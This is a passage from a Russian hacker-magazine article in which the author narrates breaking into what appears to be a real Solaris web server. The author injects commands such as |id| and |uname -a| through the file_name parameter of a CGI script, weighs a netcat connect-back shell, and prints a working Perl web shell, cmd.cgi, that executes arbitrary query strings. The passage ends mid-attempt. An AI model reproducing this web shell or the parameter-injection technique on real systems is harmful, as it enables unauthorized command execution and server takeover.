Взлом по-японски Master-lame-master Xakep, номер #069, стр. 069-060-2 Даешь командный режим! Впрочем, даже такая вкусная брешь в сценарии не давала мне особого повода для радости. Чтением файлов многого не добиться. Мучаясь в размышлениях, я решил попробовать подставить команду вместо имени файла. Выполнение команды (пусть даже с выводом в одну строку) могло дать колоссальные возможности. Изменив значение параметра file_name на |id| и обновив страницу, я буквально подпрыгнул от радости! Это сработало! Немного подумав, сценарий показал права текущего юзера. Теперь у меня был web-шелл юзера с уидом www и групповым идентификатором wwwgrp. Анализируй ЭТО Настало время приступить к анализу системы. Ведь я еще не знал, в какие директории я имею право писать, какие файлы смотреть и выполнять. Впрочем, с такой оболочкой многого не сделать – скрипт по-прежнему показывал лишь первую строку вывода команды. Первый запрос был |uname -a|. Эта команда выдала мне сведения об установленной на сервере системе – я начинал вспарывать брюхо старой Солярке 5.6. Особенности этой старушки мы с тобой уже проходили :), поэтому ты должен знать ее уязвимости. Далее я отдал команду |which perl|, чтобы удостовериться в том, что интерпретатор находится в /usr/bin. К сожалению, скрипт вообще ничего не вывел. Это означало, что либо Perl находится в /usr/local/bin, либо его вообще нет, а staffs.cgi написан на другом языке. Проверив патч к Perl, я узнал, что бинарник действительно расположен в /usr/local/bin. Действовать по стандартной схеме было бессмысленно – на сервере находился файрвол. У меня было только три варианта дальнейших действий: 1. Удаленно вырубить файрвол. 2. Замутить connback-скрипт и открыть на своем хосте netcat с прослушиванием определенного порта. 3. Довольствоваться управлением через WWW. Решено было остановиться на третьем пункте, поскольку первые два требовали значительных навыков в анализе и офигительного везения. Ни тем ни другим, к сожалению, я похвастаться не мог, поэтому решил залить на сервер самопальный скрипт, который должен был полноценно выполнять команды. Для осуществления этой элементарной задачи нужно скачать примерно такой самопальный скрипт: Код cmd.cgi #!/usr/local/bin/perl print "Content-type: text/html\n\n"; $cmd=$ENV{QUERY_STRING}; $cmd=~s/%20/ /g; $cmd=`$cmd`; print "<pre> $cmd<\/pre> \n"; Подобный сценарий позволял выполнить практически любую команду с правами www. Отправив запрос |ls –lad|, я узнал, что залить сценарий можно прямо в WWW-каталог (юзер www имел полные права на чтение, запись и выполнение файлов в этом каталоге). Только вот осуществить задуманное мне не удалось – оказалось, что скрипт staffs.cgi не выполняет команды с символом перенаправления потока (> ). Ты, наверное, догадался, что я пытался намутить ftp-сценарий, а затем передать его /usr/bin/ftp. К сожалению, и wget’а на сервере не оказалось, поэтому ситуация выглядела безнадежной. |